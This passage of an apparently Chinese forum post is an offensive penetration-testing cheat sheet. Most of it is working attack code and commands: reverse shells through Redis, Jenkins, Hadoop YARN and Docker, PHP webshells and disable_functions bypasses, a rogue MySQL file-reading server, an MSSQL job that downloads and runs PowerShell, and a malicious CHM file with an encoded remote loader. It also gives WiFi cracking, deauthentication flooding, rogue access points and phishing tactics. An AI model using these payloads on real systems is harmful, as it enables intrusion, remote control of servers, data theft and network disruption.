  3. 系统DLL劫持(目标重启或注销)
  4. 特定软件的DLL劫持
  5. 覆盖快捷方式
  6. 覆盖配置文件
  7. 覆盖sethc等文件
  8. https://github.com/r35tart/RedisWriteFile
  9. >python3 rediswritefile.py --rhost=目标IP --rport=6379 --lhost=本机IP --lport=本地端口 --rpath="在目标保存的路径" --rfile="在目标保存的文件" --lfile="本地文件" --auth=redis密码
复制代码

Lua RCE
  1. https://github.com/QAX-A-Team/redis_lua_exploit
  2. 修改redis_lua.py里的 host 为目标 IP
  3. 执行返回正常,反弹shell
  4. >eval "tonumber('/bin/bash -i >& /dev/tcp/192.168.0.108/12345 0>&1', 8)" 0
复制代码

Redis漏洞利用工具
  1. https://github.com/yuyan-sec/RedisEXP
  2. windows
  3. >RedisExp.exe -rhost 192.168.211.128 -lhost 192.168.211.1 -exec -c whoami
  4. >RedisExp.exe -rhost 192.168.211.128 -lhost 192.168.211.1 -exec -console
  5. linux平台
  6. >RedisExp.exe -rhost 192.168.211.130 -lhost 192.168.211.1 -so exp.so -exec -c whoami
  7. >RedisExp.exe -rhost 192.168.211.130 -lhost 192.168.211.1 -so exp.so -exec -console
  8. 文件上传
  9. >RedisExp.exe -rhost 192.168.211.128 -lhost 192.168.211.1 -upload -rfile 1.txt -lfile 2.txt
  10. 写shell
  11. >RedisExp.exe -rhost 192.168.211.128 -shell
  12. Lua沙盒绕过命令执行 CVE-2022-0543
  13. >RedisExp.exe -rhost 192.168.211.130 -lua -console
  14. 爆破redis密码
  15. >RedisExp.exe -r 192.168.211.128 -brute -pwdf ../pass.txt
复制代码

Jenkins未授权访问
  1. http://www.qq.com:8080/manage
  2. http://www.qq.com:8080/script
  3. 执行命令
  4. >println "ifconfig -a".execute().text
  5. 反弹shell
  6. >println "wget http://your.com/back.py -P /tmp/".execute().text
  7. >println "python /tmp/back.py yourIP 8080".execute().text
  8. 写shell
  9. >println "wget http://your.com/t.txt -o /var/www/html/1.php".execute().text
  10. >new File("/var/www/html/1.php").write('<?php @eval($_POST[1]);?>');
  11. >def webshell = '<?php @eval($_POST[1]);?>'
  12. >new File("/var/www/html/1.php").write("$webshell");
复制代码

MongoDB未授权访问
  1. 默认端口27017直接连接进行增删改查
  2. 连接工具
  3. https://s3.mongobooster.com/download/releasesv5/nosqlbooster4mongo-5.1.12.exe
复制代码

ZooKeeper未授权访问
  1. 默认端口2181
  2. 获得服务器环境信息
  3. >echo envi|nc 192.168.0.1 2181
  4. 连接
  5. >./zkCli.sh -server ip:port
  6. 连接工具
  7. https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip
复制代码

Elasticsearch未授权访问
  1. 默认端口9200
  2. http://1.1.1.1:9200/_plugin/head/
  3. http://1.1.1.1:9200/_nodes
  4. http://1.1.1.1:9200/_river
  5. http://1.1.1.1:9200/_plugin/sql/
复制代码

Memcache未授权访问
  1. 默认端口11211
  2. >telnet 1.1.1.1 11211
  3. >nc -vv 1.1.1.1 11211
复制代码

Hadoop未授权访问
  1. http://192.168.1.1:8088/cluster
  2. 本地监听端口 >> 创建Application >> 调用Submit Application API提交
复制代码
  1. #!/usr/bin/env python
  2. import requests

  3. target = 'http://192.168.18.129:8088/'
  4. lhost = '192.168.18.138' # put your local host ip here, and listen at port 9999

  5. url = target + 'ws/v1/cluster/apps/new-application'
  6. resp = requests.post(url)
  7. app_id = resp.json()['application-id']
  8. url = target + 'ws/v1/cluster/apps'
  9. data = {
  10.     'application-id': app_id,
  11.     'application-name': 'get-shell',
  12.     'am-container-spec': {
  13.         'commands': {
  14.             'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
  15.         },
  16.     },
  17.     'application-type': 'YARN',
  18. }
  19. requests.post(url, json=data)
复制代码

Docker未授权访问
  1. 默认端口2375
  2. >docker -H tcp://1.1.1.1:2375 images
  3. 本地监听
  4. 启动容器
  5. docker -H tcp://1.1.1.1:2375 run -id -v /etc/crontabs:/tmp alpine:latest
  6. docker -H tcp://1.1.1.1:2375 ps
  7. 进入容器
  8. docker -H tcp://1.1.1.1:2375 exec -it a8ff7ed880fb sh
  9. echo '* * * * * /usr/bin/nc {ip} 9999 -e /bin/sh' >> /tmp/root #添加计划任务
  10. cat /tmp/root
  11. exit
  12. Shipyard默认密码
  13. admin/shipyard
复制代码

ActiveMQ未授权访问
  1. 默认端口8161
  2. http://1.1.1.1:8161/admin/connections.jsp
  3. PUT /fileserver/%2F%2F2%083.jsp HTTP/1.0
  4. Content-Length: 27
  5. Host: 1.1.1.1:8161
  6. Connection: Close
  7. Authorization: Basic YWRtaW46YWRtaW4=
  8. 123123123123123123123123123
复制代码

JBOSS未授权访问
  1. http://192.168.1.1:8080/jmx-console/ 无需认证进入
  2. jboss.deployment部署shell
  3. addURL()的paramValue写入远程war木马地址
复制代码

一些bypassLinux绕过disable_functionLD_PRELOAD
  1. linux环境
  2. putenv()、mail()可用
  3. https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
  4. http://192.168.0.107/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
  5. outpath是命令输出位置,sopath指定so文件路径。

  6. 替换php文件中的mail为error_log("a",1);
复制代码

php7.0-7.3 bypass
  1. 直接bypass
  2. https://raw.githubusercontent.com/mm0r1/exploits/master/php7-gc-bypass/exploit.php
复制代码

windows系统组件com绕过
  1. <?php
  2. $command = $_GET['cmd'];
  3. $wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
  4. $exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
  5. $stdout = $exec->StdOut();
  6. $stroutput = $stdout->ReadAll();
  7. echo $stroutput;
  8. ?>
复制代码

CGI启动方式
  1. phpinfo中搜索server api是cgi或者fastcgi
  2. 如果是cgi模式:上传如下htaccess
  3. Options ExecCGI
  4. AddHandler cgi-script .xx
  5. windows平台
  6. #!C:/Windows/System32/cmd.exe /c start calc.exe
  7. 1
  8. linux平台
  9. #!/bin/bash
  10. echo -ne "Content-Type: text:html\n\n"
  11. whoami
  12. 如果是fast_cgi,上传如下htaccess
  13. Options +ExecCGI
  14. AddHandler fcgid-script .abc
  15. FcgidWrapper "C:/Windows/System32/cmd.exe /c start cmd.exe" .abc
  16. 上传任意文件.abc
  17. 相对路径
  18. AddHandler fcgid-script .html
  19. FcgidWrapper "../../php/php7.3.4nts/php-cgi.exe" .html

  20. AddHandler fcgid-script .xx
  21. FcgidWrapper "../../../WWW/localhost/calc.exe" .xx
复制代码

ImageMagick组件绕过
  1. imageMagick 版本 v6.9.3-9 或 v7.0.1-0
  2. 第一种
复制代码
  1. <?php
  2. echo "Disable Functions: " . ini_get('disable_functions') . "\n";
  3. $command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
  4. if ($command == '') {
  5. $command = 'id';
  6. }
  7. $exploit = <<<EOF
  8. push graphic-context
  9. viewbox 0 0 640 480
  10. fill 'url(https://example.com/image.jpg"|$command")'    //核心
  11. pop graphic-context
  12. EOF;
  13. file_put_contents("KKKK.mvg", $exploit);
  14. $thumb = new Imagick();
  15. $thumb->readImage('KKKK.mvg');
  16. $thumb->writeImage('KKKK.webp');
  17. $thumb->clear();
  18. $thumb->destroy();
  19. unlink("KKKK.mvg");
  20. unlink("KKKK.webp");
  21. ?>
复制代码
  1. 第二种
复制代码
  1. #include <stdlib.h>
  2. #include <string.h>
  3. void payload() {
  4. const char* cmd = "nc -e /usr/bin/zsh 127.0.0.1 4444";
  5. system(cmd);
  6. }
  7. int fileno() {
  8. if (getenv("LD_PRELOAD") == NULL) { return 0; }
  9. unsetenv("LD_PRELOAD");
  10. payload();
  11. }
复制代码
  1. 编译
  2. gcc -shared -fPIC imag.c -o imag.so
复制代码
  1. <?php
  2. putenv('LD_PRELOAD=/var/www/html/imag.so');
  3. $img = new Imagick('/tmp/1.ps');
  4. ?>
复制代码

常规函数绕过
  1. <?php
  2. echo exec('whoami');?>
  3. ------------------------------------------------------
  4. <?php
  5. echo shell_exec('whoami');?>
  6. ------------------------------------------------------
  7. <?php
  8. system('whoami');?>
  9. ------------------------------------------------------
  10. <?php
  11. passthru("whoami");?>
  12. ------------------------------------------------------
  13. <?php
  14. $command=$_POST['cmd'];
  15. $handle = popen($command , "r");
  16. while(!feof($handle))
  17. {        echo fread($handle, 1024);  //fread($handle, 1024);
  18. }
  19. pclose($handle);?>
  20. -------------------------------------------------------
  21. <?php
  22. $command="ipconfig";
  23. $descriptorspec = array(1 => array("pipe", "w"));
  24. $handle = proc_open($command ,$descriptorspec , $pipes);
  25. while(!feof($pipes[1]))
  26. {        echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
  27. }?>
复制代码

pcntl_exec
  1. 开启了pcntl 扩展,并且php 4>=4.2.0 , php5,linux
复制代码
  1. <?php
  2. if(function_exists('pcntl_exec')) {
  3. pcntl_exec("/bin/bash", array("/tmp/test.sh"));
  4. } else {
  5. echo 'pcntl extension is not support!';
  6. }
  7. ?>
复制代码
  1. test.sh
  2. #!/bin/bash
  3. nc -e /bin/bash 1.1.1.1 8888       #反弹shell
复制代码
  1. <?php
  2. error_reporting(0);
  3. if (!function_exists('imap_open')) {
  4. die("no imap_open function!");
  5. }
  6. $server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
  7. imap_open('{' . $server . ':143/imap}INBOX', '', '');
  8. sleep(5);
  9. echo file_get_contents("/tmp/cmd_result");
  10. ?>
复制代码

php7.4 FFI绕过
  1. php 7.4
  2. ffi.enable=true
复制代码
  1. <?php
  2. $a='nc -e /bin/bash ip 8888';
  3. $ffi = FFI::cdef(
  4.     "int system(char *command);",
  5.     "libc.so.6");
  6. $ffi->system($a);
  7. ?>
复制代码

shellshock
  1. 存在CVE-2014-6271漏洞
  2. PHP 5.*,linux,putenv()、mail()可用
复制代码
  1. <?php
  2. function shellshock($cmd) {
  3. $tmp = tempnam(".","data");
  4. putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
  5. mail("a@127.0.0.1","","","","-bv");
  6. $output = @file_get_contents($tmp);
  7. @unlink($tmp);
  8. if($output != "") return $output;
  9. else return "No output, or not vuln.";
  10. }
  11. echo shellshock($_REQUEST["cmd"]);
  12. ?>
复制代码

蚁剑插件
  1. 01利用LD_PRELOAD环境变量
  2. 02利用ShellShock(CVE-2014-6271)
  3. 03利用Apache Mod CGI
  4. 04 PHP-FPM利用LD_PRELOAD环境变量(同1)
  5. 05攻击PHP-FPM监听端口
  6. 06 Json Serializer UAF
  7. 07具有特定析构函数UAF的PHP7 GC
复制代码

open_basedir绕过
  1. 第一种
  2. http://x.com/shell.php?a=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};
  3. http://x.com/shell.php?a=if%20(%20$b%20=%20opendir(%22glob:///var/www/html/*.php%22)%20)%20{while%20(%20($file%20=%20readdir($b))%20!==%20false%20)%20{echo%20%22filename:%22.$file.%22\n%22;}closedir($b);}
  4. 第二种
  5. http://x.com/shell.php?a=ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');system('cat ../../../../../etc/passwd');
  6. http://x.com/shell.php?a=mkdir(%22/tmp/crispr%22);chdir(%27/tmp/crispr/%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(scandir(%27.%27))
  7. 第三种
  8. 命令执行绕过
  9. 读文件
  10. ?a=show_source('preload.php');
  11. ?a=echo(readfile('preload.php'));
  12. ?a=print_r(readfile('preload.php'));
  13. ?a=echo(file_get_contents('preload.php'));
  14. ?a=print_r(file_get_contents('preload.php'));
复制代码

Tomcat Ajp LFI&RCE
  1. LFI
  2. https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner
  3. >python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.0.110 -p 8009 -f pass
复制代码
​编辑​
  1. RCE
  2. >msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.107 LPORT=12138 R >/var/www/html/1.jpg
  3. 配合目标文件上传传入服务器
复制代码
​编辑​
  1. >java -jar ajpfuzzer_v0.6.jar
  2. >connect 192.168.0.110 8009
  3. >forwardrequest 2 "HTTP/1.1" "/index.jsp" 192.168.0.107 192.168.0.107 porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:index.jsp","javax.servlet.include.path_info:/1.jpg","javax.servlet.include.servlet_path:/"
复制代码

​编辑​

Mysql连接文件读取
  1. https://github.com/Gifts/Rogue-MySql-Server
  2. 客户端必须启用LOCAL-INFILE
  3. 客户端支持非SSL连接
  4. 目标web存在adminer等可检查数据库连接的脚本。
  5. 攻击机本地运行python构造假mysql服务,使用目标web连接,读取文件。
  6. #coding=utf-8
  7. import socket
  8. import logging
  9. logging.basicConfig(level=logging.DEBUG)
  10. filename="/etc/passwd"
  11. sv=socket.socket()
  12. sv.bind(("",3305))
  13. sv.listen(5)
  14. conn,address=sv.accept()
  15. logging.info('Conn from: %r', address)
  16. conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
  17. conn.recv(9999)
  18. logging.info("auth okay")
  19. conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
  20. conn.recv(9999)
  21. logging.info("want file...")
  22. wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
  23. conn.sendall(wantfile)
  24. content=conn.recv(9999)
  25. logging.info(content)
  26. conn.close()
复制代码

Mysql开启外连
  1. >grant all privileges on user.* to user@"%" identified by "P@ssw0rd";
复制代码

MSSQL&Agent Job上线
  1. USE msdb; EXEC dbo.sp_add_job @job_name = N'syspolicy_purge_now' ; EXEC sp_add_jobstep @job_name = N'syspolicy_purge_now', @step_name = N'syspolicy_purge_step1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://IP_OR_HOSTNAME/file''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'syspolicy_purge_now '; EXEC dbo.sp_start_job N'syspolicy_purge_now ';
  2. 使用在注入点处,使用burp进行url编码,编码后前面加%20(空格URL编码)
复制代码

DNSLog
  1. http://ceye.io
  2. http://www.dnslog.cn/
复制代码

近源攻击WI-FI破解wifite
  1. Kali下工具wifite,加载网卡,开启监听模式,#airmon-ng check kill
  2. >airmon-ng start wlan1
  3. 安装hcxtools v4.2.0或更高版本,hcxdumptool v4.2.0或更高版本
  4. >apt-get install libcurl4-openssl-dev libssl-dev zlib1g-dev libpcap-dev
  5. >git clone https://github.com/ZerBea/hcxtools
  6. >cd hcxtools
  7. >make
  8. >make install
  9. >git clone https://github.com/ZerBea/hcxdumptool
  10. >cd hcxdumptool
  11. >make
  12. >make install
  13. >wifite –-dict /root/Desktop/wordlist.txt  加载
复制代码

Aircrack-ng
  1. >airmon-ng start wlan0 开启监听模式
  2. >airodump-ng wlan0mon  查看数据包
  3. >airodump-ng –c 1 –bssid APmac –w name wlan1mon保存某AP数据包
  4. >aireplay-ng –deauth 10 –a APmac wlan0mon  deauth攻击
  5. >aireplay-ng -0 2 -a C8:3A:35:30:3E:C8 -c B8:E8:56:09:CC:9C wlan0mon deauth攻击某个设备直至获取handshake(握手包)
  6. >airmon-ng stop wlan0mon  关闭监听模式
  7. >aircrack-ng –w wordlist.txt name.cap 指定字典破解密码
复制代码

钓鱼网络Hostapd
  1. >apt install hostapd dnsmasq
  2. >cd /etc/hostapd
  3. >vim open.conf 创建无加密热点
  4. Interface=wlan1
  5. Ssid=FreeWIFI
  6. Driver=nl80211
  7. Channel=1
  8. Hw_mode=g

  9. >vim /etc/dnsmasq.conf
  10. Dhcp-range=10.0.0.1, 10.0.0.255,12h
  11. Interface=wlan1

  12. >systemctl restart dnsmasq
  13. 消除网卡限制
  14. >nmcli radio wifi off
  15. >rfkill unblock wlan
  16. >ifconfig wlan1 10.0.0.1/24
  17. >hostapd open.conf
  18. 嗅探
  19. >sysctl –w net.ipv4.ip_forward=1
  20. >iptables –t nat –A POSTROUTING –o 网卡 –j MASQUERADE
  21. >bettercap –iface wlan1
  22. >net.show
  23. >net.sniff on
  24. >driftnet –i wlan1
复制代码

Hostapd-wpe
  1. >apt install hostapd-wpe
  2. >vim /etc/hostapd-wpe/hostapd-wpe.conf
  3. 配置interface=wlan1
  4. Ssid=
  5. Channel=
  6. 证书修改
  7. >cd /etc/hostapd-wpe/certs/
  8. 文件ca.cnf server.cnf client.cnf
  9. 修改countrName stateOrProvinceName localityName …….
  10. >rm –rf *.pem *.der *.csr *.crt *.key *.p12 serial* index.txt*
  11. >make clean
  12. >./bootstrap
  13. >make install
  14. 执行创建热点
  15. >hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
  16. 获取到密码时使用asleep破解
  17. >asleap –C Challenge值 –R response值 –W 字典文件
复制代码

无线干扰Beacon flood
  1. 需切换网卡为监听模式
  2. >airmon-ng start wlan1
  3. 创建大量虚假热点Mdk3 mon0 b
  4. >mdk3 wlan1mon b -f /root/wifi.txt -a -s 1500
复制代码

Deauth flood
  1. 针对AP
  2. >airmon-ng start wlan1
  3. >aireplay-ng –deauth 10 –a AP’s mac address mon0
  4. 针对AP内设备
  5. >airmon-ng start wlan1       将网卡置为监听模式
  6. >airodump-ng wlan1mon –bssid 目标ap的ssid
  7. >aireplay-ng -0 0 -a ap的ssid -c AP的ssid wlan0mon 开始攻击
复制代码

Mdk3 destruction
  1. 针对范围内
  2. >mdk3 wlan1mon d
  3. 针对AP
  4. >airodump-ng wlan1mon
  5. >mdk3 wlan1mon a -a APmac 发起攻击
  6. 黑名单
  7. >mdk3 wlan1mon d –c 信道 –b /blacklist.txt.
  8. >mdk3 wlan1mon  b -n test -w -g -c 1 -s 200
复制代码

WiFi芯片esp8266Mdk4
  1. >mdk4 wlan0mon d
复制代码

CVE-2018-4407
  1. Scapy
  2. send(IP(dst="192.168.1.132",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))
  3. Apple iOS 11及更早版本:所有设备(升级到iOS 12的部分设备)
  4. Apple macOS High Sierra(受影响的最高版本为10.13.6):所有设备(通过安全更新2018-001修复)
  5. Apple macOS Sierra(受影响的最高版本为10.12.6):所有设备(通过安全更新2018-005中修复)
  6. Apple OS X El Capitan及更早版本:所有设备
复制代码

绕过mac地址认证Ifconfig
  1. #ifconfig wlan1 down
  2. #ifconfig wlan1 hw ether xx:xx:xx:xx:xx:xx
  3. #ifconfig wlan1 up
复制代码

Macchanger
  1. #macchanger –m xx:xx:xx:xx:xx:xx wlan1
  2. #macchanger –r wlan1
复制代码

BadUSB克隆卡蓝牙鱼叉式攻击钓鱼邮件
  1. 假冒的内部域名
  2. 假冒的外部域名
  3. 近似域名
  4. 被黑账户
  5. 群发/特定发
  6. 虚构情景/恶意连接/恶意文件
复制代码

CVECVE-2017-11882
  1. Microsoft Office 2007 SP3 / 2010 SP2 / 2013 SP1 / 2016
复制代码

CVE-2017-0199
  1. <code class="hljs">Microsoft Office 2007 SP3 / 2010 SP2 / 2013 SP1 / 2016,Vista SP2,Server 2008 SP2,Windows 7 SP1,Windows 8.1</code>
复制代码


CVE-2012-0158
  1. <code class="hljs">Microsoft Office 2003 SP3、2007 SP2和SP3,以及2010 Gold和SP1;Office 2003 Web组件SP3;SQL Server 2000 SP4、2005 SP4和2008 SP2,SP3和R2; BizTalk Server 2002 SP1;Commerce Server 2002 SP4、2007 SP2和2009 Gold和R2; Visual FoxPro 8.0 SP1和9.0 SP2; 和Visual Basic 6.0</code>
复制代码


CVE-2017-0143
  1. Microsoft Windows Vista SP2;Windows Server 2008 SP2和R2 SP1; Windows 7 SP1;Windows 8.1; Windows Server 2012 Gold和R2;Windows RT 8.1;Windows 10 Gold,1511和1607;以及 和Windows Server 2016
  2. OFFICE文档/ PDF文件
复制代码




可执行文件文档文件的伪造扩展名/图标捆绑0dayCHM
  1. 使用编译的HTML文件加载恶意代码。
  2. 使用EasyCHM对html进行编译,在html文件中插入恶意代码。
  3. 使用MSF生成powershell格式的web_delivery模块
  4. 使用Rundll32配合MyJSRAT实施运行无弹窗
复制代码


编辑
  1. 把命令base编码避免特殊符号
复制代码


编辑

  1. 执行语句编码后
  2. >powershell -ep bypass -enc JABCAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAKACQAQgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAKACQAQgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoASQBFAFgAIAAkAEIALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADAALgAxADAANwA6ADgAMAA4ADAALwBQAEsAUQBOAEUAYgAnACkAOwAKAA==
  3. 通过JSRat执行powershell上线命令
  4. https://github.com/Ridter/MyJSRat
  5. >python MyJSRat.py -i 192.168.1.107 -p 8888 -c "powershell -ep bypass -enc JABCAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAKACQAQgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAKACQAQgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoASQBFAFgAIAAkAEIALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADAALgAxADAANwA6ADgAMAA4ADAALwBQAEsAUQBOAEUAYgAnACkAOwAKAA=="
复制代码


编辑
  1. <code class="hljs">访问http://ip/wtf复制利用语句到html文件后编译</code>
复制代码


编辑

  1. <PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.0.107:8888/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>
复制代码

​编辑


  1. 正常打开CHM文件,无弹窗上线。
复制代码

钓鱼链接URL跳转结合恶意文档或程序短URL结合水坑攻击相似域名
  1. 注册相似域名,使用拉丁字母,西里尔字母等字符。
复制代码

域名窃取
第三方服务鱼叉
  1. 通过社交软件建立关系,如男女朋友,师父徒弟,HR,寻求业务等进行钓鱼攻击.
复制代码















回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 23:20 , Processed in 0.029420 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表